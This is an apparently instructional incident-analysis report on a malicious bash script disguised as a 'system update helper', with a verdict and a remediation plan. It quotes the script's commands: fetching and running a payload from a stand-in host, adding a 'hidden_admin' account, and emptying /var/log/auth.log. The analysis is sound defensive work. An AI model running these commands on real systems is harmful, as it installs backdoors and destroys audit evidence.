LINUX INVESTIGATION REPORT: SUSPICIOUS FILE ANALYSIS

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File examined: suspicious.sh

Method: Static examination only (file never executed)

1. SUMMARY

The file is a bash script that, if run, would download a file from a remote web address, execute it, create a user account named hidden_admin, and wipe the system authentication log.

Verdict: MALICIOUS, high confidence

2. FILE IDENTIFICATION

Reported type (file command): Bourne-Again shell script, ASCII text executable

Name vs actual type: They match. The .sh extension and the #!/bin/bash first line both indicate a bash script, so the name is not misleading.

3. FILE PROPERTIES (ls -l)

Permissions: -rw-rw-r--

Executable?: No. No 'x' bit is set for owner, group, or others, so it cannot run directly with ./suspicious.sh. The file is currently inert, but anyone could make it runnable with a single chmod +x command.

Owner: analyst (group: analyst)

Size: 146 bytes

Modified: Oct 15 17:28

4. CONTENTS AND RED FLAGS

Examined by reading (cat / less), never by running. Red flags found:

- **Downloads a file from a remote web address** (wget http://example-bad-site.test/payload.sh): a fetch-a-payload pattern. The link uses plain HTTP, so the download is unencrypted and unverified. The domain name itself looks suspicious.
- **Runs the downloaded file** (bash payload.sh): untrusted code is executed.
- **Creates a user account** (useradd hidden_admin): attacker persistence. The name suggests an attempt to hide a backdoor.
- **Clears the authentication log** (echo "" > /var/log/auth.log): covering tracks by erasing login records.

- **Disguised purpose:** the comment "# system update helper" makes the script look like routine maintenance, which is a common social engineering tactic.

5. VERDICT AND CONFIDENCE

Verdict: MALICIOUS

Confidence: HIGH

Evidence-based reasoning

The script is malicious because it contains four behaviours which together form a classic attack chain: it downloads a remote payload (wget), executes it (bash payload.sh), creates a new user for persistent access (useradd hidden_admin), and erases the authentication log to destroy evidence (echo "" > /var/log/auth.log). Legitimate update scripts do not create hidden accounts or wipe security logs. The mislabelled "system update helper" comment further suggests intent to deceive. Confidence is high because every line is a known attacker technique and none has a plausible benign purpose.

6. RECOMMENDATION

- Do NOT execute the file under any circumstances.
- Preserve it as evidence (keep the file, leave the execute permission off) for further analysis.
- Escalate to incident response / report it, noting where and when it was found.
- Check the system for signs it was already run: look for a hidden_admin entry in /etc/passwd, a downloaded payload.sh file, and an emptied or suspiciously short /var/log/auth.log.
- Block the domain example-bad-site.test at the network level and review logs for any connections to it.